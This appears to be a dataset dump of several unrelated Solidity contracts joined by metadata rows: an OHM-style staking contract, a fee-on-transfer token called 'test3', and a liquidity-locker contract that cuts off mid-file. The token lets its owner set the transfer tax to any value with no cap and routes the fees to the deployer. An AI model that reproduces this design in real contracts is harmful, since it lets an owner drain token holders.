function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using LowGasSafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract OwnableData {
address public owner;
address public pendingOwner;
}
contract Ownable is OwnableData {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/// @notice `owner` defaults to msg.sender on construction.
constructor() {
owner = msg.sender;
emit OwnershipTransferred(address(0), msg.sender);
}
/// @notice Transfers ownership to `newOwner`. Either directly or claimable by the new pending owner.
/// Can only be invoked by the current `owner`.
/// @param newOwner Address of the new owner.
function transferOwnership(address newOwner,
bool direct,
bool renounce) public onlyOwner {
if (direct) {
// Checks
require(newOwner != address(0) || renounce, "Ownable: zero address");
// Effects
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
pendingOwner = address(0);
} else {
// Effects
pendingOwner = newOwner;
}
}
/// @notice Needs to be called by `pendingOwner` to claim ownership.
function claimOwnership() public {
address _pendingOwner = pendingOwner;
// Checks
require(msg.sender == _pendingOwner, "Ownable: caller != pending owner");
// Effects
emit OwnershipTransferred(owner, _pendingOwner);
owner = _pendingOwner;
pendingOwner = address(0);
}
/// @notice Only allows the `owner` to execute the function.
modifier onlyOwner() {
require(msg.sender == owner, "Ownable: caller is not the owner");
_;
}
}
interface ISCunoro is IERC20 {
function rebase(uint256 ohmProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view override returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract CunoroStaking is Ownable {
using LowGasSafeMath for uint256;
using LowGasSafeMath for uint32;
using SafeERC20 for IERC20;
using SafeERC20 for ISCunoro;
IERC20 public immutable Cunoro;
ISCunoro public immutable sCunoro;
struct Epoch {
uint number;
uint distribute;
uint32 length;
uint32 endTime;
}
Epoch public epoch;
IDistributor public distributor;
uint public totalBonus;
IWarmup public warmupContract;
uint public warmupPeriod;
event LogStake(address indexed recipient, uint256 amount);
event LogClaim(address indexed recipient, uint256 amount);
event LogForfeit(address indexed recipient, uint256 memoAmount, uint256 timeAmount);
event LogDepositLock(address indexed user, bool locked);
event LogUnstake(address indexed recipient, uint256 amount);
event LogRebase(uint256 distribute);
event LogSetContract(CONTRACTS contractType, address indexed _contract);
event LogWarmupPeriod(uint period);
constructor (address _Cunoro,
address _sCunoro,
uint32 _epochLength,
uint _firstEpochNumber,
uint32 _firstEpochTime) {
require(_Cunoro != address(0));
Cunoro = IERC20(_Cunoro);
require(_sCunoro != address(0));
sCunoro = ISCunoro(_sCunoro);
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endTime: _firstEpochTime,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
Cunoro.safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim({
deposit: info.deposit.add(_amount),
gons: info.gons.add(sCunoro.gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
sCunoro.safeTransfer(address(warmupContract), _amount);
emit LogStake(_recipient, _amount);
return true;
}
function claim(address _recipient) external {
Claim memory info = warmupInfo[ _recipient ];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
uint256 amount = sCunoro.balanceForGons(info.gons);
warmupContract.retrieve(_recipient, amount);
emit LogClaim(_recipient, amount);
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
uint memoBalance = sCunoro.balanceForGons(info.gons);
warmupContract.retrieve(address(this), memoBalance);
Cunoro.safeTransfer(msg.sender, info.deposit);
emit LogForfeit(msg.sender, memoBalance, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
emit LogDepositLock(msg.sender, warmupInfo[ msg.sender ].lock);
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
sCunoro.safeTransferFrom(msg.sender, address(this), _amount);
Cunoro.safeTransfer(msg.sender, _amount);
emit LogUnstake(msg.sender, _amount);
}
function index() external view returns (uint) {
return sCunoro.index();
}
function rebase() public {
if(epoch.endTime <= uint32(block.timestamp)) {
sCunoro.rebase(epoch.distribute, epoch.number);
epoch.endTime = epoch.endTime.add32(epoch.length);
epoch.number++;
if (address(distributor) != address(0)) {
distributor.distribute(); //Cunoro mint should be updated
}
uint balance = contractBalance();
uint staked = sCunoro.circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
emit LogRebase(epoch.distribute);
}
}
function contractBalance() public view returns (uint) {
return Cunoro.balanceOf(address(this)).add(totalBonus);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP }
function setContract(CONTRACTS _contract, address _address) external onlyOwner {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = IDistributor(_address);
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(address(warmupContract) == address(0), "Warmup cannot be set more than once");
warmupContract = IWarmup(_address);
}
emit LogSetContract(_contract, _address);
}
function setWarmup(uint _warmupPeriod) external onlyOwner {
warmupPeriod = _warmupPeriod;
emit LogWarmupPeriod(_warmupPeriod);
}
}
| 115,339 | 10,895 |
c4b72faa85829e21e7885c621c7fa68ef90a48e870a37f6eb35277be5cf35398
| 13,587 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/10/107302633cfc5626fe36186890564cf37d1e8986_test3.sol
| 3,615 | 12,979 |
pragma solidity 0.8.7;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract test3 is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _standardTax;
address payable private _feeAddrWallet;
string private constant _name = "test3";
string private constant _symbol = "test3";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = 20000000 * 10**9;
uint256 private _maxWalletSize = 30000000 * 10**9;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(_msgSender());
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
_standardTax=5;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
_feeAddr1 = 0;
_feeAddr2 = _standardTax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled && contractTokenBalance>0) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}else{
_feeAddr1 = 0;
_feeAddr2 = 0;
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,
0,
path,
address(this),
block.timestamp);
}
function setStandardTax(uint256 newTax) external onlyOwner{
_standardTax=newTax;
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0xE592427A0AEce92De3Edee1F18E0157C05861564);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
| 48,680 | 10,896 |
912a1bfc70c7069b3d147e77b211d8b23c1fb4b536b294c34bc729c5afb49939
| 19,262 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/94/94be49F28df790f92a18D362f414287f25a81322_KissLPLocker.sol
| 3,874 | 14,679 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.16;
//
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
//
// OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol)
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
//
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from,
address to,
uint256 amount) external returns (bool);
}
//
interface IUniswapRouterV2 {
function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function factory() external view returns (address);
function WETH() external view returns (address);
}
interface IUniswapFactoryV2 {
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapPairV2 {
function token0() external view returns (address);
function token1() external view returns (address);
}
interface IKissDeployer {
function isKissToken(address token) external view returns (bool);
function isKissTokenPair(address pair) external view returns (bool);
}
contract KissLPLocker is Ownable {
uint256 constant public RESOLUTION = 10000;
string constant public tokenDiscriminator = "Safu Smart Deployer Template ";
struct LockInfo {
address getter;
uint256 amount;
uint256 lockTime;
uint256 expireTime;
}
struct LockInfoArrayWrapper {
LockInfo[] info;
uint256 now;
}
struct LockInfoWrapper {
LockInfo info;
uint256 now;
}
mapping(address => bool) public isFeeExempt;
address[] public feeDistributionWallets;
uint256[] public feeDistributionRates;
uint256 public lockFee;
address public uniswapV2Router;
bool public tokenEnabled;
mapping(address => mapping(address => LockInfo[])) context;
address public kissDeployer;
event SetFeeDistributionInfo(address[] wallets, uint256[] rates);
event SetLockFee(uint256 fee);
event SetExemptFee(address addr, bool exempt);
event LockContext(address locker, address pair, address getter, uint256 amount, uint256 lockTime, uint256 expireTime);
event UnlockContext(address locker, address pair, uint256 lockedIndex, address getter, uint256 amount, uint256 when);
event AppendLockContext(address locker, address pair, uint256 lockedIndex, uint256 amount);
event SplitContext(address locker, address pair, uint256 lockedIndex, uint256 amount);
constructor(address[] memory _feeWallets, uint256[] memory _feeRates, uint256 _lockFee, address[] memory _feeExemptWallets, address _router, address _deployer) {
require(_feeWallets.length == _feeRates.length, "Invalid Parameters: 0x1");
uint256 i;
feeDistributionWallets = new address[](_feeWallets.length);
feeDistributionRates = new uint256[](_feeRates.length);
for (i = 0; i < _feeWallets.length; i ++) {
feeDistributionWallets[i] = _feeWallets[i];
feeDistributionRates[i] = _feeRates[i];
}
emit SetFeeDistributionInfo(feeDistributionWallets, feeDistributionRates);
lockFee = _lockFee;
emit SetLockFee(lockFee);
for (i = 0; i < _feeExemptWallets.length; i ++) {
isFeeExempt[_feeExemptWallets[i]] = true;
emit SetExemptFee(_feeExemptWallets[i], true);
}
uniswapV2Router = _router;
kissDeployer = _deployer;
}
function distributePayment(uint256 feeAmount) internal {
uint256 i;
for (i = 0; i < feeDistributionWallets.length; i ++) {
uint256 share = feeDistributionRates[i] * feeAmount / RESOLUTION;
address feeRx = feeDistributionWallets[i];
if (share > 0) {
(bool success,) = payable(feeRx).call{value: share}("");
if (!success) {
continue;
}
}
}
}
function updateKissDeployer(address _deployer) external onlyOwner {
require(kissDeployer != _deployer, "Already Set");
kissDeployer = _deployer;
}
function setFeeDistributionInfo(address[] memory _feeWallets, uint256[] memory _feeRates) external onlyOwner {
require(_feeWallets.length == _feeRates.length, "Invalid Parameters: 0x1");
uint256 i;
feeDistributionWallets = new address[](_feeWallets.length);
feeDistributionRates = new uint256[](_feeRates.length);
for (i = 0; i < _feeWallets.length; i ++) {
feeDistributionWallets[i] = _feeWallets[i];
feeDistributionRates[i] = _feeRates[i];
}
emit SetFeeDistributionInfo(feeDistributionWallets, feeDistributionRates);
}
function setLockFee(uint256 _lockFee) external onlyOwner {
require(lockFee != _lockFee, "Already Set");
lockFee = _lockFee;
emit SetLockFee(_lockFee);
}
function setFeeExempt(address pair, bool set) external onlyOwner {
require(isFeeExempt[pair] != set, "Already Set");
isFeeExempt[pair] = set;
emit SetExemptFee(pair, set);
}
function enableTokenLock(bool set) external onlyOwner {
require(tokenEnabled != set, "Already Set");
tokenEnabled = set;
}
function getLockTotalInfo(address user, address pair) external view returns (LockInfoArrayWrapper memory) {
return LockInfoArrayWrapper({
info: context[user][pair],
now: block.timestamp
});
}
function getLockInfo(address user, address pair, uint256 lockedIndex) external view returns (LockInfoWrapper memory) {
return LockInfoWrapper({
info: context[user][pair][lockedIndex],
now: block.timestamp
});
}
function _newLock(address locker, address pair, address getter, uint256 amount, uint256 period, bool emitEvent) internal returns (uint256){
require (period >= 7 days, "Minimum Lock Period: 7 days");
context[locker][pair].push(LockInfo({
getter: getter,
amount: amount,
lockTime: block.timestamp,
expireTime: block.timestamp + period
}));
if (emitEvent) {
LockInfo storage li = context[locker][pair][context[locker][pair].length - 1];
emit LockContext(locker, pair, getter, amount, li.lockTime, li.expireTime);
}
return context[locker][pair].length - 1;
}
function _disposeFee(address locker, address token, bool loose) private returns (uint256) {
if (lockFee == 0) return 0;
uint256 feeAmount = lockFee;
if (isFeeExempt[locker] || (loose && isKissDeployerToken(token))) {
feeAmount = 0;
}
require(msg.value >= feeAmount, "Please Charge Fee");
if (feeAmount > 0) {
distributePayment(feeAmount);
}
return feeAmount;
}
function _appendLock(address locker, address pair, uint256 lockedIndex, uint256 amount) internal {
LockInfo storage li = context[locker][pair][lockedIndex];
require(li.lockTime > 0 && li.expireTime > 0, "Not Valid Lock");
li.amount += amount;
emit AppendLockContext(locker, pair, lockedIndex, amount);
}
function _splitLock(address locker, address pair, uint256 lockedIndex, uint256 amount) internal {
require(amount > 0, "Trivial");
LockInfo storage li = context[locker][pair][lockedIndex];
require(li.lockTime > 0 && li.expireTime > 0, "Not Valid Lock");
require(li.amount >= amount, "Not Enough Lock");
li.amount -= amount;
uint256 lastIndex = _newLock(locker, pair, li.getter, amount, li.expireTime - li.lockTime, false);
LockInfo storage liLast = context[locker][pair][lastIndex];
liLast.lockTime = li.lockTime;
liLast.expireTime = li.expireTime;
emit SplitContext(locker, pair, lockedIndex, amount);
}
function _addToLPFromLocker(address locker, address token, uint256 tokenAmount, uint256 ethAmount) private returns (uint256 liquidity) {
uint256 oldBalance = IERC20(token).balanceOf(address(this));
IERC20(token).transferFrom(locker, address(this), tokenAmount);
uint256 newBalance = IERC20(token).balanceOf(address(this));
uint256 realAmount = newBalance - oldBalance;
IERC20(token).approve(uniswapV2Router, realAmount);
uint256 amountToken;
uint256 amountETH;
(amountToken, amountETH, liquidity) = IUniswapRouterV2(uniswapV2Router).addLiquidityETH{value: ethAmount}(token, realAmount, 0, 0, address(this), block.timestamp);
if (realAmount > amountToken) {
IERC20(token).transfer(locker, realAmount - amountToken);
}
if (ethAmount > amountETH) {
(bool success,) = payable(address(locker)).call{value: ethAmount - amountETH}("");
require(success, "Failed to fund back");
}
}
function addToLPAndLock(address token, address getter, uint256 amount, uint256 lockPeriod) external payable {
address locker = msg.sender;
uint256 feeAmount = _disposeFee(locker, token, true);
uint256 liquidity = _addToLPFromLocker(locker, token, amount, msg.value - feeAmount);
address factory = IUniswapRouterV2(uniswapV2Router).factory();
address pair = IUniswapFactoryV2(factory).getPair(token, IUniswapRouterV2(uniswapV2Router).WETH());
_newLock(locker, pair, getter, liquidity, lockPeriod, true);
}
function addToLPAndAppendLock(address token, uint256 amount, uint256 lockedIndex) external payable {
address locker = msg.sender;
uint256 liquidity = _addToLPFromLocker(locker, token, amount, msg.value);
address factory = IUniswapRouterV2(uniswapV2Router).factory();
address pair = IUniswapFactoryV2(factory).getPair(token, IUniswapRouterV2(uniswapV2Router).WETH());
_appendLock(locker, pair, lockedIndex, liquidity);
}
